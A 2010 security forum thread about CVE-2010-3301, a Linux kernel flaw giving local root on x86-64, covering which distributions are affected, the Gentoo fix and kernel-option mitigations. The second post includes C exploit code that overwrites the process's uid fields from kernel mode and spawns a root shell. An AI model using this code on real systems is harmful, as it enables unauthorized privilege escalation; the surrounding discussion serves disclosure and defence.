GNU/Linux local privilege escalation exploit on x86-64

Networking/Security Forums -> UNIX // GNU/Linux

Author: capiLocation: Portugal PostPosted: Tue Sep 21, 2010 6:22 am    Post subject: GNU/Linux local privilege escalation exploit on x86-64
    ----
Found and reported by Ben Hawkes: http://sota.gen.nz/compat2/

Story on slashdot: http://linux.slashdot.org/story/10/09/20/0217204/Linux-Kernel-Exploit-Busily-Rooting-64-Bit-Machines

https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2010-3301
https://access.redhat.com/kb/docs/DOC-40330
Red Hat wrote:
The flaw identified by CVE-2010-3301 (Red Hat Bugzilla bug 634449) describes a flaw in the IA32 system call emulation provided in 64-bit Linux kernels, versions 2.6.27-rc1 to 2.6.36-rc4. An improperly validated 64-bit value could be stored in the %rax register, which could trigger an out-of-bounds system call table access. A local user could use this flaw to escalate their privileges. This is a regression of CVE-2007-4573. It was re-introduced by upstream git commit d4d67150, and was later addressed via the upstream git commits 36d001c7 and eefdca04 for the 2.6 Linux kernel.


Red Hat claims their kernel is not vulnerable to this particular bug.

http://security-tracker.debian.org/tracker/CVE-2010-3301
The current stable version of Debian ("lenny") is also not vulnerable, since their kernel is older than when the bug was introduced.

https://bugs.gentoo.org/show_bug.cgi?id=337645
The current stable Gentoo kernel is vulnerable, including the Gentoo Hardened kernel. The problem seems to be fixed in the more recent kernels, which are still undergoing the testing phase and waiting to be marked stable. I have adapted the upstream fix to the current Gentoo Hardened kernel and submitted the patch to Gentoo via the bug report, in the hopes that they will release a GLSA for the current stable kernel soon.

In the meantime, for those of you using Gentoo Hardened, or anyone else who benefits from some form of Grsecurity-enabled kernel, you can severely mitigate the risk of infection by enabling the CONFIG_GRKERNSEC_HIDESYM kernel option (Security options -> Grsecurity -> Grsecurity -> Address Space Protection -> Hide kernel symbols). This will restrict access to the symbols table only to users with the CAP_SYS_MODULE capability (effectively, root).

This effectively breaks the publicly known proof-of-concept by Ben Hawkes, as well as the more malicious exploit by "Ac1dB1tch3z", as they are unable to obtain the addresses of the kernel functions they use in order to alter their task's privileges.

Author: krugger PostPosted: Wed Sep 22, 2010 1:52 am    Post subject:
    ----
It was commited by blueness on friday to hardened sources, should be available.

http://cia.vc/stats/author/blueness

Maybe it is still possible to search the memory like in the first exploit of this problem, although that is surely less reliable.

Code:

int32_t uid, euid, suid;

static void kernelmodecode(void)
{
        int i;
        uint8_t *gs;
        uint32_t *ptr;

        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

        for (i = 200; i < 1000; i+=1) {

                ptr = (uint32_t*) (gs + i);

                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID

                        break;
                }
        }

}

static void docall(uint64_t *ptr, uint64_t size)
{
        getresuid(&uid, &euid, &suid);

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED)
{
                printf("mmap fault\n");
                exit(1);
        }

        for (; ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", 0);
        printf("no /bin/sh ??\n");
        exit(0);
}



Credit to Wojciech Purczynski aka cliph from isec.pl

Author: capiLocation: Portugal PostPosted: Wed Sep 22, 2010 2:17 am    Post subject:
    ----
Update: new stable Gentoo Hardened kernels are available, safe from this vulnerability, as of 20:39 today (UTC).
Anthony Basile wrote:
Hardened-sources 2.6.32-r18 and 2.6.34-r6 have been marked stable for amd64 in
the tree. See bug #338273.

Please please please test! I realize the urgency to stabilize, but I feel
uncomfortable with the fact that these were marked stable before they'd had
time to mature.

https://bugs.gentoo.org/show_bug.cgi?id=337645#c16

I have since learned from speaking to Anthony Basile (blueness) that the fix had been committed to the Gentoo development tree one day after the CVE was published. The delay was caused because the Gentoo developers wanted to stabilize the kernel before releasing an update. Other unrelated changes had already been introduced during development and they didn't want to fail their compromise to stability.

In the end the above-mentioned fixed versions were fast-tracked for stabilization, due to the urgent severity of the threat.

I should also add that the available mitigation measures were posted to the gentoo-hardened mailing list on Sep 16th, as the vulnerability became known: http://archives.gentoo.org/gentoo-hardened/msg_198c11cd059badc94d26939b8aa79f61.xml

In particular, for anyone who hasn't patched their kernel yet:
Anthony Basile wrote:
As a work around until I get the fix into the tree and fast
track stabilization, keep the following in mind:


1) Whether hardened or not, if you don't have CONFIG_IA32_EMULATION, the
exploits fail.


2) If you hide kernel symbols in /proc/kallsyms, the proof-of-concept
code won't work. You can do that by either not enabling CONFIG_KALLSYMS
on non-hardened kernels, or just set CONFIG_GRKERNSEC_HIDESYM=y on
hardened.

(However, there may still be ways of making the exploit work even
without symbol info.)


3) On hardened systems, if you enable CONFIG_PAX_MEMORY_UDEREF=y, the
exploits fail even with access to symbol info. If possible, I would
also recommend enabling CONFIG_PAX_KERNEXEC=y.


These measures are effective against the publicly known exploits, and should greatly hinder exploitability in general. Of course (as I meant to have mentioned in my first post but forgot), they are still only a matter of mitigation and defense in depth. There is no guarantee that one couldn't create a smarter exploit that doesn't require knowledge of the symbols, for example -- search techniques as indicated by krugger being one possibility, although that in itself would probably have its own problems with reliability.

In any case, fixed kernels are now available.



Networking/Security Forums -> UNIX // GNU/Linux


output generated using printer-friendly topic mod, All times are GMT + 2 Hours

Page 1 of 1

Powered by phpBB 2.0.x © 2001 phpBB Group